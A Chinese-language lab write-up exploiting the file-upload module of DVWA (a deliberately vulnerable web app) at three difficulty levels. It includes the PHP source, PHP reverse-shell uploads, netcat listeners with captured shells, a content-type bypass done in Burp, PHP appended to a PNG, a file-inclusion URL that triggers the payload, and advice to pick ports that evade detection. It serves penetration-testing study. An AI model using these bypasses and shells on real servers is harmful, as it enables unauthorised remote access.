File upload介紹
用admin/password登入,進去之後畫面:
點上圖的2以後:
?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
這個source code可以看到說他用了一個post request然後做upload,upload之後他沒有對沒有做任何的filter,檔案上去了就就直接上去也沒有針對比如說檔案的extension或者是看有沒有檔案的magic header。好所以要針對這樣的漏洞進行攻擊其實很簡單。因為他這邊是PHP的檔案的web server那我們可以使用像是PHP reverse shell的這個檔案我們可以看一下在哪:
┌──(kali㉿kali)-[~]
└─$ locate php-reverse-shell.php
/usr/share/laudanum/php/php-reverse-shell.php
/usr/share/laudanum/wordpress/templates/php-reverse-shell.php
/usr/share/seclists/Web-Shells/laudanum-0.8/php/php-reverse-shell.php
/usr/share/webshells/php/php-reverse-shell.php
補充一下,這個web shell的資料夾裡面不只PHP的shell檔案還有很多其他像是perl或是ASP各大這種針對web server,他都會有:
┌──(kali㉿kali)-[/usr/share/webshells]
└─$ ls -al
total 40
drwxr-xr-x 8 root root 4096 Aug 8 2022 .
drwxr-xr-x 356 root root 12288 May 19 03:40 ..
drwxr-xr-x 2 root root 4096 Aug 8 2022 asp
drwxr-xr-x 2 root root 4096 Aug 8 2022 aspx
drwxr-xr-x 2 root root 4096 Aug 8 2022 cfm
drwxr-xr-x 2 root root 4096 Aug 8 2022 jsp
lrwxrwxrwx 1 root root 19 Aug 8 2022 laudanum -> /usr/share/laudanum
drwxr-xr-x 2 root root 4096 Aug 8 2022 perl
drwxr-xr-x 3 root root 4096 Dec 10 2022 php
PHP reverse shell他就是一個很巨大的PHP檔案,我們通常會拿他來做反彈shell,那在這邊要編輯一下他的IP他有告訴你他的IP跟port要改一下:
如果習慣是port 4444,那這個習慣其實不是很好,因為port4444常常會被擋掉,所以比較好的選擇比如說會是443,因為他是走https或者是port80這種這種port比較常被使用的。當你真正在打Lab或者是真正做滲透測試的時候,比較不會被抓到。
aaa
記得執行php前要先在攻擊機聽port
┌──(kali㉿kali)-[~/THM]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
根據下圖的下面紅圈來決定網址列要打什麼:
成功反彈shell
┌──(kali㉿kali)-[~/THM]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.18.71.25] from (UNKNOWN) [10.10.85.14] 42753
Linux ip-10-10-85-14 3.13.0-158-generic #208-Ubuntu SMP Fri Aug 24 17:07:38 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
15:19:01 up 17 min, 0 users, load average: 0.00, 0.07, 0.20
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
依下圖步驟更換難度:
進入檔案上傳頁面:
可以按上圖右下角部分看原始碼:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
中等的source code(如上)可以看到稍微多一點東西,在這個upload type的地方他會check說他是不是image jpeg或者是png的檔案類型,而且他限定了檔案的大小,所以這樣子看起來貌似好像只有image可以可以上傳,但是這其實很簡單就可以做bypass。
比如說我們可以用像是burp來做處理:
設定proxy:
複製之前的php web shell並改個檔名:
┌──(kali㉿kali)-[~/THM]
└─$ cp php-reverse-shell.php php-reverse-shell.png
首先我們的content type瀏覽器已經幫我們變成image.png,然後檔案本身當然是我們的惡意的php這沒有什麼疑問,那我們可以在這filename的地方原本副檔名是png我們把它改回php就可以了,因為剛剛的source code沒有針對副檔名進行辨認,只有針對content type進行辨認。
把上面的png改成php後按右上角Forward,正式上傳:
一樣,先聽port:
┌──(kali㉿kali)-[~/THM]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
也一樣改網址觸發reverse shell:
可以發現shell反彈回來:
┌──(kali㉿kali)-[~/THM]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.18.71.25] from (UNKNOWN) [10.10.85.14] 42758
Linux ip-10-10-85-14 3.13.0-158-generic #208-Ubuntu SMP Fri Aug 24 17:07:38 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
15:47:07 up 45 min, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
這個小trick其實在OSCP lab中非常常見,當然在lab之中他不會給你source code,但是可以用這樣的方式來跟大家分享,如果你今天你的檔案上傳失敗了,他可能失敗的原因是什麼,以及你可以做怎麼樣的嘗試去做繞過。
看看難度high的原始碼:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
除了副檔名之外呢,他還使用了getimagesize,他會去去看看這個檔案的magic header,等於是去parse你所上傳的檔案,所以照理來說如果你上傳了一個純PHP檔案,你就沒有辦法通過這一個get image size這一個parser,當然也就不會得到一個檔案上傳的結果。
┌──(kali㉿kali)-[~/THM]
└─$ ls -al
total 32
drwxr-xr-x 2 kali kali 4096 Jul 27 11:59 .
drwxr-xr-x 31 kali kali 4096 Jul 27 11:12 ..
-rw-r--r-- 1 kali kali 5044 Jul 27 11:59 logo.png
-rwxr-xr-x 1 kali kali 5493 Jul 27 11:12 php-reverse-shell.php
-rwxr-xr-x 1 kali kali 5493 Jul 27 11:35 php-reverse-shell.png
┌──(kali㉿kali)-[~/THM]
└─$ cat php-reverse-shell.png >> logo.png
我們可以把PHP的檔案夾在檔案的尾巴。下面指令是pipe然後用less這個工具,這個工具的話他因為我已經知道檔案非常長所以我用less這個小工具來限定說我要從最檔案的最上面開始看一下。
┌──(kali㉿kali)-[~/THM]
└─$ hexdump logo.png -C | less
看看logo.png的長相:
檢查一下現在的圖片檔:
上傳成功:
大家可能會好奇說我們要怎麼樣去執行這個logo.png檔案。這個時候不能夠像剛剛low跟medium一樣直接呼叫他,因為他呼叫起來就只是一個png檔案。
我們要怎麼樣呼叫呢?我們可以用其他的漏洞,比如說在旁邊file inclusion的地方,但先把難度調回最簡單。
瀏覽器不只支援http他也支援像是像file或是ftp還有其他的方法,那在這個地方我們要注意一下,如果你在這邊用file的話,最好加上四個slash通常才會work,因為在parse的時候他可能會把兩個變成一個,所以你如果要確保你有兩個slash傳進去的話,你要在你的瀏覽器url上面打四個。link的話這個folder的架構應該linux都是一樣的,然後再來是hackable upload,完整網址:
http://10.10.85.14/vulnerabilities/fi/?page=file:////var/www/html/hackable/uploads/logo.png
成功反彈:
┌──(kali㉿kali)-[~/THM]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.18.71.25] from (UNKNOWN) [10.10.85.14] 42771
Linux ip-10-10-85-14 3.13.0-158-generic #208-Ubuntu SMP Fri Aug 24 17:07:38 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
16:17:16 up 1:15, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
可以trigger檔案的檔案路徑找法? 有兩種解法,第一是比如說你可以透過像是如果你很幸運你有command injection的話,你可以透過就是比如說執行command去找一下檔案在哪裡。第二是你可以上傳一個奇怪檔名的檔案,然後你記好這個檔案名稱之後你可以用gobuster或者是dirbuster去帶這個字典檔,這兩個工具就是會幫你去掃目標的directory。那如果你很幸運的掃到了你的檔案,這種還是要透過爆破會比較快。另外一種比較慢的方法就是可能要去研究一下對方的目標,但這也是比較常見的解法,我自己遇到狀況是這樣,就是你只能在他的那個webapplication裡面一個一個去試,當然首先你要先確保你能夠做directory traversal,那如果不行的話那真的是只能用盲注去找出你的檔案。